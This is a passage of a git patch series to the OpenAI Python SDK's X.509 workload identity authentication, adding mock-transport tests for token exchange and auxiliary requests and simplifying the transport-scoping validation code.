copied = httpx2.Request("POST", url, content=content) + return await Context().run(asyncio.create_task, self.send(copied, **kwargs)) + return await super().send(request, **kwargs) + + http_client = ReconstructingClient(transport=httpx2.MockTransport(lambda request: _record(requests, request))) + async with AsyncOpenAI(workload_identity=_identity(), http_client=http_client, max_retries=0) as client: + with pytest.raises(OpenAIError, match="configured API origin|authorization"): + await client.models.list() + + assert [str(request.url) for request in requests] == [_TOKEN_URL] + + @pytest.mark.parametrize("redirect", [False, True]) @pytest.mark.parametrize("delegate_storage", ["attribute", "slot", "private_slot", "list", "dict"]) @pytest.mark.parametrize("reconstruct", [False, True]) @@ -1952,6 +2213,134 @@ async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: ] +@pytest.mark.parametrize("short_token", ["v1", "models"]) +def test_sync_x509_allows_auxiliary_url_paths_that_match_short_tokens(short_token: str) -> None: + requests: list[httpx2.Request] = [] + + def handler(request: httpx2.Request) -> httpx2.Response: + requests.append(request) + if str(request.url) == _TOKEN_URL: + return httpx2.Response(200, request=request, json={"access_token": short_token, "expires_in": 3600}) + return _response(request) + + class TelemetryClient(httpx2.Client): + @override + def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + if request.url.host == "mtls.api.openai.com": + assert self.get("https://telemetry.example/v1/models").status_code == 200 + return super().send(request, **kwargs) + + transport = TelemetryClient(transport=httpx2.MockTransport(handler)) + with OpenAI(workload_identity=_identity(), http_client=transport, max_retries=0) as client: + assert client.models.list().object == "list" + + assert [request.url.host for request in requests] == [ + "mtls.auth.openai.com", + "telemetry.example", + "mtls.api.openai.com", + ] + + +@pytest.mark.parametrize("short_token", ["v1", "models"]) +async def test_async_x509_allows_auxiliary_url_paths_that_match_short_tokens(short_token: str) -> None: + requests: list[httpx2.Request] = [] + + def handler(request: httpx2.Request) -> httpx2.Response: + requests.append(request) + if str(request.url) == _TOKEN_URL: + return httpx2.Response(200, request=request, json={"access_token": short_token, "expires_in": 3600}) + return _response(request) + + class TelemetryClient(httpx2.AsyncClient): + @override + async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + if request.url.host == "mtls.api.openai.com": + assert (await self.get("https://telemetry.example/v1/models")).status_code == 200 + return await super().send(request, **kwargs) + + transport = TelemetryClient(transport=httpx2.MockTransport(handler)) + async with AsyncOpenAI(workload_identity=_identity(), http_client=transport, max_retries=0) as client: + assert (await client.models.list()).object == "list" + + assert [request.url.host for request in requests] == [ + "mtls.auth.openai.com", + "telemetry.example", + "mtls.api.openai.com", + ] + + +@pytest.mark.parametrize("short_token", ["v1", "models"]) +def test_sync_x509_preserves_exact_identity_when_another_token_matches_the_url(short_token: str) -> None: + both_active = threading.Barrier(2) + + def handler(request: httpx2.Request) -> httpx2.Response: + if str(request.url) == _TOKEN_URL: + identity = json.loads(request.content)["identity_provider_id"] + token = short_token if identity.endswith("-one") else "long-token" + return httpx2.Response(200, request=request, json={"access_token": token, "expires_in": 3600}) + return _response(request) + + class ConcurrentClient(httpx2.Client): + @override + def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + both_active.wait(timeout=5) + return super().send(request, **kwargs) + + transport = ConcurrentClient(transport=httpx2.MockTransport(handler)) + clients = [ + OpenAI( + workload_identity=x509_workload_identity(identity_provider_id=f"idp-{suffix}", service_account_id="svc"), + http_client=transport, + base_url="https://mtls-us.api.openai.com/v1" if suffix == "two" else None, + max_retries=0, + ) + for suffix in ("one", "two") + ] + + with ThreadPoolExecutor(max_workers=2) as executor: + results = [executor.submit(client.models.list) for client in clients] + assert [result.result(timeout=5).object for result in results] == ["list", "list"] + + +@pytest.mark.parametrize("short_token", ["v1", "models"]) +async def test_async_x509_preserves_exact_identity_when_another_token_matches_the_url(short_token: str) -> None: + active_count = 0 + both_active = asyncio.Event() + + def handler(request: httpx2.Request) -> httpx2.Response: + if str(request.url) == _TOKEN_URL: + identity = json.loads(request.content)["identity_provider_id"] + token = short_token if identity.endswith("-one") else "long-token" + return httpx2.Response(200, request=request, json={"access_token": token, "expires_in": 3600}) + return _response(request) + + class ConcurrentClient(httpx2.AsyncClient): + @override + async def send(self, request: httpx2.Request, **kwargs: Any) -> httpx2.Response: + nonlocal active_count + active_count += 1 + if active_count == 2: + both_active.set() + await asyncio.wait_for(both_active.wait(), timeout=5) + return await super().send(request, **kwargs) + + transport = ConcurrentClient(transport=httpx2.MockTransport(handler)) + clients = [ + AsyncOpenAI( + workload_identity=x509_workload_identity(identity_provider_id=f"idp-{suffix}", service_account_id="svc"), + http_client=transport, + base_url="https://mtls-us.api.openai.com/v1" if suffix == "two" else None, + max_retries=0, + ) + for suffix in ("one", "two") + ] + + assert [result.object for result in await asyncio.gather(*(client.models.list() for client in clients))] == [ + "list", + "list", + ] + + @pytest.mark.parametrize("cross_origin", [False, True]) def test_sync_x509_rejects_auxiliary_requests_with_another_active_identity_token(cross_origin: bool) -> None: requests: list[httpx2.Request] = [] From 7a31bcca31df234c90c2a51327999dfaebe95442 Mon Sep 17 00:00:00 2001 From: Justin Beckwith Date: Thu, 27 Aug 2026 13:20:56 -0700 Subject: [PATCH 13/13] fix(auth): bind x509 validation to scoped forwarding transports --- src/openai/_client.py | 7 +- src/openai/auth/_x509.py | 984 +----- .../test_x509_workload_identity_hardening.py | 111 +- .../test_x509_workload_identity_transport.py | 2847 ++--------------- 4 files changed, 313 insertions(+), 3636 deletions(-) diff --git a/src/openai/_client.py b/src/openai/_client.py index 9eee755210..7e1daecae8 100644 --- a/src/openai/_client.py +++ b/src/openai/_client.py @@ -39,7 +39,6 @@ SyncX509WorkloadIdentityAuth, AsyncX509WorkloadIdentityAuth, validate_x509_api_url, - non_x509_request_scope, is_x509_workload_identity, x509_data_residency_base_url, validate_x509_api_credentials, @@ -560,8 +559,7 @@ def _send_with_auth_retry( **kwargs, ) else: - with non_x509_request_scope(request): - response = super()._send_request(request, stream=stream, **kwargs) + response = super()._send_request(request, stream=stream, **kwargs) if response.status_code != 401 or self._workload_identity_auth is None or used_access_token is None: return response @@ -1303,8 +1301,7 @@ async def _send_with_auth_retry( **kwargs, ) else: - with non_x509_request_scope(request): - response = await super()._send_request(request, stream=stream, **kwargs) + response = await super()._send_request(request, stream=stream, **kwargs) if response.status_code != 401 or self._workload_identity_auth is None or used_access_token is None: return response diff --git a/src/openai/auth/_x509.py b/src/openai/auth/_x509.py index aef0df4e0a..f87e9f50df 100644 --- a/src/openai/auth/_x509.py +++ b/src/openai/auth/_x509.py @@ -3,15 +3,9 @@ import re import math import time -import importlib -import threading import email.utils -from typing import Any, Iterable, Iterator, NoReturn, SupportsIndex, cast -from weakref import ReferenceType, ref -from functools import wraps -from contextlib import ExitStack, contextmanager +from typing import Any, NoReturn, cast from contextvars import ContextVar -from urllib.parse import unquote, unquote_to_bytes from typing_extensions import TypeIs, override import anyio @@ -45,102 +39,6 @@ _EXCHANGE_REQUEST_TIMEOUT: ContextVar[dict[str, float | None] | None] = ContextVar( "openai_x509_exchange_request_timeout", default=None ) -_API_TRANSPORT_SCOPE: ContextVar[tuple[httpx2.Request, httpx2.URL, str | None] | None] = ContextVar( - "openai_x509_api_transport_scope", default=None -) -_API_TRANSPORT_SCOPE_EXTENSION = "openai_x509_api_transport_scope" -_UNPROTECTED_TRANSPORT_SCOPE_EXTENSION = "openai_x509_unprotected_transport_scope" -_ACTIVE_API_TRANSPORT_SCOPES: dict[object, tuple[httpx2.Request, httpx2.URL, str | None]] = {} -_ACTIVE_UNPROTECTED_TRANSPORT_SCOPES: dict[object, tuple[httpx2.Request, httpx2.URL, str | None]] = {} -_ACTIVE_AUXILIARY_TRANSPORT_MARKERS: set[object] = set() -_ACTIVE_API_TRANSPORT_SCOPES_LOCK = threading.RLock() -_UNPROTECTED_TRANSPORT_SCOPE: ContextVar[object | None] = ContextVar( - "openai_x509_unprotected_transport_scope", default=None -) - - -@contextmanager -def non_x509_request_scope(request: httpx2.Request) -> Iterator[None]: - marker = object() - had_previous_marker = _UNPROTECTED_TRANSPORT_SCOPE_EXTENSION in request.extensions - previous_marker = request.extensions.get(_UNPROTECTED_TRANSPORT_SCOPE_EXTENSION) - request.extensions[_UNPROTECTED_TRANSPORT_SCOPE_EXTENSION] = marker - with _ACTIVE_API_TRANSPORT_SCOPES_LOCK: - _ACTIVE_UNPROTECTED_TRANSPORT_SCOPES[marker] = ( - request, - request.url, - request.headers.get("Authorization"), - ) - protected_scope = _API_TRANSPORT_SCOPE.set(None) - unprotected_scope = _UNPROTECTED_TRANSPORT_SCOPE.set(marker) - try: - yield - finally: - _UNPROTECTED_TRANSPORT_SCOPE.reset(unprotected_scope) - _API_TRANSPORT_SCOPE.reset(protected_scope) - with _ACTIVE_API_TRANSPORT_SCOPES_LOCK: - _ACTIVE_UNPROTECTED_TRANSPORT_SCOPES.pop(marker, None) - if had_previous_marker: - request.extensions[_UNPROTECTED_TRANSPORT_SCOPE_EXTENSION] = previous_marker - else: - request.extensions.pop(_UNPROTECTED_TRANSPORT_SCOPE_EXTENSION, None) - - -def _is_unprotected_transport_request(request: httpx2.Request) -> bool: - marker = request.extensions.get(_UNPROTECTED_TRANSPORT_SCOPE_EXTENSION) - contextual_marker = _UNPROTECTED_TRANSPORT_SCOPE.get() - with _ACTIVE_API_TRANSPORT_SCOPES_LOCK: - if type(marker) is object and marker in _ACTIVE_UNPROTECTED_TRANSPORT_SCOPES: - originating_request = _ACTIVE_UNPROTECTED_TRANSPORT_SCOPES[marker][0] - if marker in _ACTIVE_AUXILIARY_TRANSPORT_MARKERS or request is not originating_request: - for _, _, active_authorization in _ACTIVE_API_TRANSPORT_SCOPES.values(): - if active_authorization is not None and _request_contains_access_token( - request, active_authorization - ): - return False - return True - request_authorization = request.headers.get("Authorization") - for auxiliary_marker in _ACTIVE_AUXILIARY_TRANSPORT_MARKERS: - auxiliary_scope = _ACTIVE_UNPROTECTED_TRANSPORT_SCOPES.get(auxiliary_marker) - if auxiliary_scope is None: - continue - auxiliary_request, auxiliary_url, auxiliary_authorization = auxiliary_scope - if ( - request.method != auxiliary_request.method - or request.url != auxiliary_url - or request_authorization != auxiliary_authorization - ): - continue - for _, _, active_authorization in _ACTIVE_API_TRANSPORT_SCOPES.values(): - if active_authorization is not None and _request_contains_access_token(request, active_authorization): - return False - request.extensions[_UNPROTECTED_TRANSPORT_SCOPE_EXTENSION] = auxiliary_marker - return True - return contextual_marker is not None and contextual_marker in _ACTIVE_UNPROTECTED_TRANSPORT_SCOPES - - -def _request_contains_access_token(request: httpx2.Request, authorization: str) -> bool: - access_token = authorization.removeprefix("Bearer ") - buffered_content = vars(request).get("_content") - return ( - any(access_token in value or access_token in unquote(value) for value in request.headers.values()) - or access_token.encode() in unquote_to_bytes(request.url.query) - or (isinstance(buffered_content, bytes) and access_token.encode() in unquote_to_bytes(buffered_content)) - ) - - -def _request_transport_scope(request: httpx2.Request) -> tuple[httpx2.Request, httpx2.URL, str | None] | None: - marker = request.extensions.get(_API_TRANSPORT_SCOPE_EXTENSION) - if type(marker) is object: - with _ACTIVE_API_TRANSPORT_SCOPES_LOCK: - marked_scope = _ACTIVE_API_TRANSPORT_SCOPES.get(marker) - if marked_scope is not None: - return marked_scope - - if _is_unprotected_transport_request(request): - return None - - return _API_TRANSPORT_SCOPE.get() class _TransientTokenExchangeError(Exception): @@ -212,8 +110,8 @@ def _validate_transport_request( sni_hostname = request.extensions.get("sni_hostname") if request.url.host in _OPENAI_MTLS_HOSTS and sni_hostname is not None: - if not isinstance(sni_hostname, str) or sni_hostname.lower() != request.url.host.lower(): - raise OpenAIError("X.509 workload identity TLS hostname must match the OpenAI mTLS origin") + if not isinstance(sni_hostname, str) or sni_hostname.lower() != expected_origin.host.lower(): + raise OpenAIError("X.509 workload identity TLS hostname must match the configured origin") if token_exchange: if str(request.url) != _X509_TOKEN_EXCHANGE_URL: @@ -254,11 +152,7 @@ def handle_request(self, request: httpx2.Request) -> httpx2.Response: ) if self._http_client.is_closed: raise RuntimeError("Cannot send a request, as the client has been closed.") - transport = self._http_client._transport_for_url(request.url) - if self._token_exchange: - with non_x509_request_scope(request): - return transport.handle_request(request) - return transport.handle_request(request) + return self._http_client._transport_for_url(request.url).handle_request(request) @override def close(self) -> None: @@ -290,11 +184,7 @@ async def handle_async_request(self, request: httpx2.Request) -> httpx2.Response ) if self._http_client.is_closed: raise RuntimeError("Cannot send a request, as the client has been closed.") - transport = self._http_client._transport_for_url(request.url) - if self._token_exchange: - with non_x509_request_scope(request): - return await transport.handle_async_request(request) - return await transport.handle_async_request(request) + return await self._http_client._transport_for_url(request.url).handle_async_request(request) @override async def aclose(self) -> None: @@ -302,813 +192,6 @@ async def aclose(self) -> None: return None -class _SyncX509ScopedTransport(httpx2.BaseTransport): - def __init__(self, transport: httpx2.BaseTransport, owner: _X509ClientTransportScope) -> None: - self._transport = transport - self._owner = owner - - @override - def handle_request(self, request: httpx2.Request) -> httpx2.Response: - scope = self._owner.request_scope(request) - if scope is not None: - _validate_transport_request( - request, - expected_origin=scope[1], - expected_authorization=scope[2], - token_exchange=False, - ) - return self._transport.handle_request(request) - - @override - def close(self) -> None: - self._transport.close() - - -class _AsyncX509ScopedTransport(httpx2.AsyncBaseTransport): - def __init__(self, transport: httpx2.AsyncBaseTransport, owner: _X509ClientTransportScope) -> None: - self._transport = transport - self._owner = owner - - @override - async def handle_async_request(self, request: httpx2.Request) -> httpx2.Response: - scope = self._owner.request_scope(request) - if scope is not None: - _validate_transport_request( - request, - expected_origin=scope[1], - expected_authorization=scope[2], - token_exchange=False, - ) - return await self._transport.handle_async_request(request) - - @override - async def aclose(self) -> None: - await self._transport.aclose() - - -class _FinalizingRequestHooks(list[Any]): - def __init__(self, hooks: list[Any], finalizer: Any) -> None: - super().__init__(hooks) - self._hooks = hooks - self._finalizer = finalizer - - def _synchronize(self) -> None: - super().clear() - super().extend(self._hooks) - - @override - def __len__(self) -> int: - return len(self._hooks) - - @override - def __repr__(self) -> str: - return repr(self._hooks) - - @override - def __str__(self) -> str: - return str(self._hooks) - - @override - def __eq__(self, other: object) -> bool: - return self._hooks == (other._hooks if isinstance(other, _FinalizingRequestHooks) else other) - - @override - def __ne__(self, other: object) -> bool: - return not self == other - - @override - def __lt__(self, other: Any) -> bool: - return self._hooks < (other._hooks if isinstance(other, _FinalizingRequestHooks) else other) - - @override - def __le__(self, other: Any) -> bool: - return self._hooks <= (other._hooks if isinstance(other, _FinalizingRequestHooks) else other) - - @override - def __gt__(self, other: Any) -> bool: - return self._hooks > (other._hooks if isinstance(other, _FinalizingRequestHooks) else other) - - @override - def __ge__(self, other: Any) -> bool: - return self._hooks >= (other._hooks if isinstance(other, _FinalizingRequestHooks) else other) - - @override - def __getitem__(self, index: Any) -> Any: - return self._hooks[index] - - @override - def __setitem__(self, index: Any, value: Any) -> None: - if isinstance(index, slice) and isinstance(value, _FinalizingRequestHooks): - value = value._hooks.copy() - self._hooks[index] = value - self._synchronize() - - @override - def __delitem__(self, index: Any) -> None: - del self._hooks[index] - self._synchronize() - - @override - def __contains__(self, hook: object) -> bool: - return hook in self._hooks - - @override - def __add__(self, hooks: list[Any]) -> list[Any]: - return self._hooks + (hooks._hooks if isinstance(hooks, _FinalizingRequestHooks) else hooks) - - def __radd__(self, hooks: list[Any]) -> list[Any]: - return hooks + self._hooks - - @override - def __mul__(self, count: SupportsIndex) -> list[Any]: - return self._hooks * count - - @override - def __rmul__(self, count: SupportsIndex) -> list[Any]: - return count * self._hooks - - @override - def __iadd__(self, hooks: Iterable[Any]) -> _FinalizingRequestHooks: - self._hooks.extend(hooks._hooks.copy() if isinstance(hooks, _FinalizingRequestHooks) else hooks) - self._synchronize() - return self - - @override - def __imul__(self, count: SupportsIndex) -> _FinalizingRequestHooks: - self._hooks *= count - self._synchronize() - return self - - @override - def append(self, hook: Any) -> None: - self._hooks.append(hook) - self._synchronize() - - @override - def clear(self) -> None: - self._hooks.clear() - self._synchronize() - - @override - def count(self, hook: Any) -> int: - return self._hooks.count(hook) - - @override - def extend(self, hooks: Iterable[Any]) -> None: - self._hooks.extend(hooks._hooks.copy() if isinstance(hooks, _FinalizingRequestHooks) else hooks) - self._synchronize() - - @override - def index(self, hook: Any, *args: Any) -> int: - return self._hooks.index(hook, *args) - - @override - def insert(self, index: SupportsIndex, hook: Any) -> None: - self._hooks.insert(index, hook) - self._synchronize() - - @override - def pop(self, index: SupportsIndex = -1) -> Any: - hook = self._hooks.pop(index) - self._synchronize() - return hook - - @override - def remove(self, hook: Any) -> None: - self._hooks.remove(hook) - self._synchronize() - - @override - def reverse(self) -> None: - self._hooks.reverse() - self._synchronize() - - @override - def sort(self, *, key: Any = None, reverse: bool = False) -> None: - self._hooks.sort(key=key, reverse=reverse) - self._synchronize() - - @override - def copy(self) -> list[Any]: - return self._hooks.copy() - - @override - def __reversed__(self) -> Iterator[Any]: - return reversed(self._hooks) - - @override - def __iter__(self) -> Iterator[Any]: - finalizer = self._finalizer - yield finalizer - index = 0 - while index < len(self._hooks): - hook = self._hooks[index] - index += 1 - yield hook - yield finalizer - - -class _X509ClientTransportScope: - def __init__(self, http_client: httpx2.Client | httpx2.AsyncClient, *, is_async: bool) -> None: - self._http_client_ref = ref(http_client) - self._is_async = is_async - self._lock = threading.RLock() - self._active_requests = 0 - self._request_scopes: dict[object, tuple[httpx2.Request, httpx2.URL, str | None]] = {} - self._bound_requests: dict[int, tuple[httpx2.Request, object]] = {} - self._scope_request_bindings: dict[object, set[int]] = {} - self._original_transport: Any = None - self._original_mounts: dict[Any, Any] = {} - self._original_request_hooks: list[Any] = [] - self._original_build_request: Any = None - self._had_build_request_attribute = False - self._original_send: Any = None - self._had_send_attribute = False - self._send_depth: ContextVar[int] = ContextVar("openai_x509_client_send_depth", default=0) - self._auxiliary_request_markers: set[object] = set() - self._auxiliary_marker_owners: dict[object, object] = {} - self._auxiliary_marker_sends: dict[object, int] = {} - - def _build_auxiliary_request(self, *args: Any, **kwargs: Any) -> httpx2.Request: - request = cast(httpx2.Request, self._original_build_request(*args, **kwargs)) - self._mark_auxiliary_request( - request, recursive=self._send_depth.get() > 0 and request.headers.get("Authorization") is None - ) - return request - - def _mark_auxiliary_request(self, request: httpx2.Request, *, recursive: bool = False) -> None: - active_scope = _API_TRANSPORT_SCOPE.get() - if ( - active_scope is None - or request is active_scope[0] - or _is_unprotected_transport_request(request) - or _active_request_transport_scope(request) is not None - ): - return - - authorization = request.headers.get("Authorization") - protected_authorization = active_scope[2] - if ( - recursive - and authorization is None - and protected_authorization is not None - and _request_contains_access_token(request, protected_authorization) - ): - protected_marker = active_scope[0].extensions.get(_API_TRANSPORT_SCOPE_EXTENSION) - with self._lock: - if type(protected_marker) is object and protected_marker in self._request_scopes: - request.extensions[_API_TRANSPORT_SCOPE_EXTENSION] = protected_marker - self._bind_request(request, protected_marker) - return - - if recursive and authorization is not None and request.method == active_scope[0].method: - protected_headers = { - name: value - for name, value in active_scope[0].headers.items() - if name.lower() not in ("authorization", "host") - } - if protected_headers and all( - request.headers.get(name) == value for name, value in protected_headers.items() - ): - return - - marker = object() - request.extensions[_UNPROTECTED_TRANSPORT_SCOPE_EXTENSION] = marker - with _ACTIVE_API_TRANSPORT_SCOPES_LOCK: - _ACTIVE_UNPROTECTED_TRANSPORT_SCOPES[marker] = (request, request.url, authorization) - _ACTIVE_AUXILIARY_TRANSPORT_MARKERS.add(marker) - with self._lock: - self._auxiliary_request_markers.add(marker) - owner = active_scope[0].extensions.get(_API_TRANSPORT_SCOPE_EXTENSION) - if type(owner) is object: - self._auxiliary_marker_owners[marker] = owner - - def _begin_auxiliary_send(self, request: httpx2.Request) -> object | None: - marker = request.extensions.get(_UNPROTECTED_TRANSPORT_SCOPE_EXTENSION) - with self._lock: - if type(marker) is not object or marker not in self._auxiliary_request_markers: - return None - self._auxiliary_marker_sends[marker] = self._auxiliary_marker_sends.get(marker, 0) + 1 - return marker - - def _release_auxiliary_marker(self, marker: object, *, completed_send: bool = False) -> None: - with self._lock: - if marker not in self._auxiliary_request_markers: - return - active_sends = self._auxiliary_marker_sends.get(marker, 0) - if completed_send: - active_sends -= 1 - if active_sends: - self._auxiliary_marker_sends[marker] = active_sends - return - elif active_sends: - return - self._auxiliary_marker_sends.pop(marker, None) - self._auxiliary_marker_owners.pop(marker, None) - self._auxiliary_request_markers.discard(marker) - with _ACTIVE_API_TRANSPORT_SCOPES_LOCK: - _ACTIVE_UNPROTECTED_TRANSPORT_SCOPES.pop(marker, None) - _ACTIVE_AUXILIARY_TRANSPORT_MARKERS.discard(marker) - - def _send_auxiliary_request(self, request: httpx2.Request, *args: Any, **kwargs: Any) -> Any: - depth = self._send_depth.get() - if depth: - self._mark_auxiliary_request(request, recursive=True) - auxiliary_marker = self._begin_auxiliary_send(request) - previous_depth = self._send_depth.set(depth + 1) - try: - return self._original_send(request, *args, **kwargs) - finally: - self._send_depth.reset(previous_depth) - if auxiliary_marker is not None: - self._release_auxiliary_marker(auxiliary_marker, completed_send=True) - - async def _send_async_auxiliary_request(self, request: httpx2.Request, *args: Any, **kwargs: Any) -> Any: - depth = self._send_depth.get() - if depth: - self._mark_auxiliary_request(request, recursive=True) - auxiliary_marker = self._begin_auxiliary_send(request) - previous_depth = self._send_depth.set(depth + 1) - try: - return await self._original_send(request, *args, **kwargs) - finally: - self._send_depth.reset(previous_depth) - if auxiliary_marker is not None: - self._release_auxiliary_marker(auxiliary_marker, completed_send=True) - - def _wrap(self, transport: Any) -> Any: - if self._is_async: - return _AsyncX509ScopedTransport(transport, self) - return _SyncX509ScopedTransport(transport, self) - - def request_scope(self, request: httpx2.Request) -> tuple[httpx2.Request, httpx2.URL, str | None] | None: - with self._lock: - bound_request = self._bound_requests.get(id(request)) - if bound_request is not None and bound_request[0] is request: - bound_scope = self._request_scopes.get(bound_request[1]) - if bound_scope is not None: - return bound_scope - - scope = _request_transport_scope(request) - if scope is not None: - marker = request.extensions.get(_API_TRANSPORT_SCOPE_EXTENSION) - with self._lock: - if type(marker) is object and marker in self._request_scopes: - self._bind_request(request, marker) - return scope - if _is_unprotected_transport_request(request): - return None - - with self._lock: - request_authorization = request.headers.get("Authorization") - matching_authorization = [ - (marker, active_scope) - for marker, active_scope in self._request_scopes.items() - if request_authorization is not None - and active_scope[2] is not None - and ( - request_authorization == active_scope[2] - or ( - active_scope[2].startswith("Bearer ") - and active_scope[2][len("Bearer ") :] in request_authorization - ) - ) - ] - if not matching_authorization: - return None - exact_authorization = [ - (marker, active_scope) - for marker, active_scope in matching_authorization - if request_authorization == active_scope[2] - ] - if exact_authorization: - matching_authorization = exact_authorization - if len({(active_scope[1].host, active_scope[1].port) for _, active_scope in matching_authorization}) > 1: - raise OpenAIError("X.509 workload identity request cannot be associated with a single API origin") - same_origin = [ - (marker, active_scope) - for marker, active_scope in matching_authorization - if (request.url.host, request.url.port) == (active_scope[1].host, active_scope[1].port) - ] - marker, active_scope = (same_origin if same_origin else matching_authorization)[0] - self._bind_request(request, marker) - return active_scope - - def _bind_request(self, request: httpx2.Request, marker: object) -> None: - identifier = id(request) - self._bound_requests[identifier] = (request, marker) - self._scope_request_bindings.setdefault(marker, set()).add(identifier) - - def _validate_sync_request(self, request: httpx2.Request) -> None: - scope = self.request_scope(request) - if scope is not None: - _validate_transport_request( - request, - expected_origin=scope[1], - expected_authorization=scope[2], - token_exchange=False, - ) - - async def _validate_async_request(self, request: httpx2.Request) -> None: - self._validate_sync_request(request) - - @contextmanager - def activate( - self, request: httpx2.Request, expected_origin: httpx2.URL, expected_authorization: str | None - ) -> Iterator[None]: - http_client = self._http_client_ref() - if http_client is None: - raise RuntimeError("Cannot send a request after the HTTP client has been released.") - with self._lock: - if self._active_requests == 0: - self._original_transport = http_client._transport - self._original_mounts = http_client._mounts - http_client._transport = self._wrap(self._original_transport) - http_client._mounts = { - pattern: self._wrap(transport) if transport is not None else None - for pattern, transport in self._original_mounts.items() - } - self._original_request_hooks = http_client.event_hooks["request"] - validator = self._validate_async_request if self._is_async else self._validate_sync_request - http_client.event_hooks["request"] = _FinalizingRequestHooks(self._original_request_hooks, validator) - self._had_build_request_attribute = "build_request" in vars(http_client) - self._original_build_request = http_client.build_request - vars(http_client)["build_request"] = self._build_auxiliary_request - self._had_send_attribute = "send" in vars(http_client) - self._original_send = http_client.send - vars(http_client)["send"] = ( - self._send_async_auxiliary_request if self._is_async else self._send_auxiliary_request - ) - self._active_requests += 1 - - marker = object() - had_previous_marker = _API_TRANSPORT_SCOPE_EXTENSION in request.extensions - previous_marker = request.extensions.get(_API_TRANSPORT_SCOPE_EXTENSION) - request.extensions[_API_TRANSPORT_SCOPE_EXTENSION] = marker - request_scope = (request, expected_origin, expected_authorization) - with _ACTIVE_API_TRANSPORT_SCOPES_LOCK: - _ACTIVE_API_TRANSPORT_SCOPES[marker] = request_scope - with self._lock: - self._request_scopes[marker] = request_scope - scope = _API_TRANSPORT_SCOPE.set(request_scope) - unprotected_scope = _UNPROTECTED_TRANSPORT_SCOPE.set(None) - try: - yield - finally: - with _ACTIVE_API_TRANSPORT_SCOPES_LOCK: - _ACTIVE_API_TRANSPORT_SCOPES.pop(marker, None) - if had_previous_marker: - request.extensions[_API_TRANSPORT_SCOPE_EXTENSION] = previous_marker - else: - request.extensions.pop(_API_TRANSPORT_SCOPE_EXTENSION, None) - _UNPROTECTED_TRANSPORT_SCOPE.reset(unprotected_scope) - _API_TRANSPORT_SCOPE.reset(scope) - auxiliary_markers: set[object] = set() - owned_auxiliary_markers: list[object] = [] - with self._lock: - for identifier in self._scope_request_bindings.pop(marker, set()): - self._bound_requests.pop(identifier, None) - self._request_scopes.pop(marker, None) - owned_auxiliary_markers = [ - auxiliary_marker - for auxiliary_marker, owner in self._auxiliary_marker_owners.items() - if owner is marker - ] - self._active_requests -= 1 - if self._active_requests == 0: - http_client._transport = self._original_transport - http_client._mounts = self._original_mounts - scoped_hooks = http_client.event_hooks["request"] - self._original_request_hooks[:] = ( - scoped_hooks.copy() if isinstance(scoped_hooks, _FinalizingRequestHooks) else list(scoped_hooks) - ) - http_client.event_hooks["request"] = self._original_request_hooks - if self._had_build_request_attribute: - vars(http_client)["build_request"] = self._original_build_request - else: - vars(http_client).pop("build_request", None) - if self._had_send_attribute: - vars(http_client)["send"] = self._original_send - else: - vars(http_client).pop("send", None) - auxiliary_markers = self._auxiliary_request_markers - self._auxiliary_request_markers = set() - self._auxiliary_marker_owners = {} - self._auxiliary_marker_sends = {} - self._original_transport = None - self._original_mounts = {} - self._original_request_hooks = [] - self._original_build_request = None - self._original_send = None - for owned_marker in owned_auxiliary_markers: - self._release_auxiliary_marker(owned_marker) - if auxiliary_markers: - with _ACTIVE_API_TRANSPORT_SCOPES_LOCK: - for auxiliary_marker in auxiliary_markers: - _ACTIVE_UNPROTECTED_TRANSPORT_SCOPES.pop(auxiliary_marker, None) - _ACTIVE_AUXILIARY_TRANSPORT_MARKERS.discard(auxiliary_marker) - - -_TRANSPORT_SCOPES: dict[int, tuple[ReferenceType[Any], _X509ClientTransportScope]] = {} -_TRANSPORT_SCOPES_LOCK = threading.RLock() - - -def _release_transport_scope(client_id: int, reference: ReferenceType[Any]) -> None: - with _TRANSPORT_SCOPES_LOCK: - entry = _TRANSPORT_SCOPES.get(client_id) - if entry is not None and entry[0] is reference: - _TRANSPORT_SCOPES.pop(client_id, None) - - -def _client_transport_scope( - http_client: httpx2.Client | httpx2.AsyncClient, *, is_async: bool -) -> _X509ClientTransportScope: - client_id = id(http_client) - with _TRANSPORT_SCOPES_LOCK: - existing = _TRANSPORT_SCOPES.get(client_id) - if existing is not None and existing[0]() is http_client: - return existing[1] - - def release(reference: ReferenceType[Any]) -> None: - _release_transport_scope(client_id, reference) - - scope = _X509ClientTransportScope(http_client, is_async=is_async) - _TRANSPORT_SCOPES[client_id] = (ref(http_client, release), scope) - return scope - - -_CLIENT_SEND_GUARD_LOCK = threading.RLock() -_CLIENT_SEND_GUARD_STATE = {"users": 0} -_ORIGINAL_CLIENT_DISPATCH_METHODS: dict[type[Any], tuple[Any, Any, Any, Any, Any, Any]] = {} - - -def _active_request_transport_scope(request: httpx2.Request) -> tuple[httpx2.Request, httpx2.URL, str | None] | None: - request_scope = _request_transport_scope(request) - with _ACTIVE_API_TRANSPORT_SCOPES_LOCK: - identity_scopes = [scope for scope in _ACTIVE_API_TRANSPORT_SCOPES.values() if scope[0] is request] - if identity_scopes: - if len({(scope[1].host, scope[1].port) for scope in identity_scopes}) > 1: - raise OpenAIError("X.509 workload identity request cannot be associated with a single API origin") - if request_scope not in identity_scopes: - request_scope = identity_scopes[0] - elif _is_unprotected_transport_request(request): - return None - - authorization = request.headers.get("Authorization") - with _ACTIVE_API_TRANSPORT_SCOPES_LOCK: - active_scopes = list(_ACTIVE_API_TRANSPORT_SCOPES.values()) - marker = request.extensions.get(_API_TRANSPORT_SCOPE_EXTENSION) - marked_scope = type(marker) is object and marker in _ACTIVE_API_TRANSPORT_SCOPES - matching_scopes: list[tuple[httpx2.Request, httpx2.URL, str | None]] = [] - for header_value in request.headers.values(): - decoded_value = unquote(header_value) - header_scopes = [ - scope - for scope in active_scopes - if scope[2] is not None - and (scope[2].removeprefix("Bearer ") in header_value or scope[2].removeprefix("Bearer ") in decoded_value) - ] - exact_header_scopes = [ - scope for scope in header_scopes if header_value == scope[2] or decoded_value == scope[2] - ] - for matched_scope in exact_header_scopes if exact_header_scopes else header_scopes: - if matched_scope not in matching_scopes: - matching_scopes.append(matched_scope) - - trusted_authorization = ( - request_scope is not None - and authorization == request_scope[2] - and (request is request_scope[0] or marked_scope) - ) - if not trusted_authorization and str(request.url) != _X509_TOKEN_EXCHANGE_URL: - decoded_query = unquote_to_bytes(request.url.query) - buffered_content = 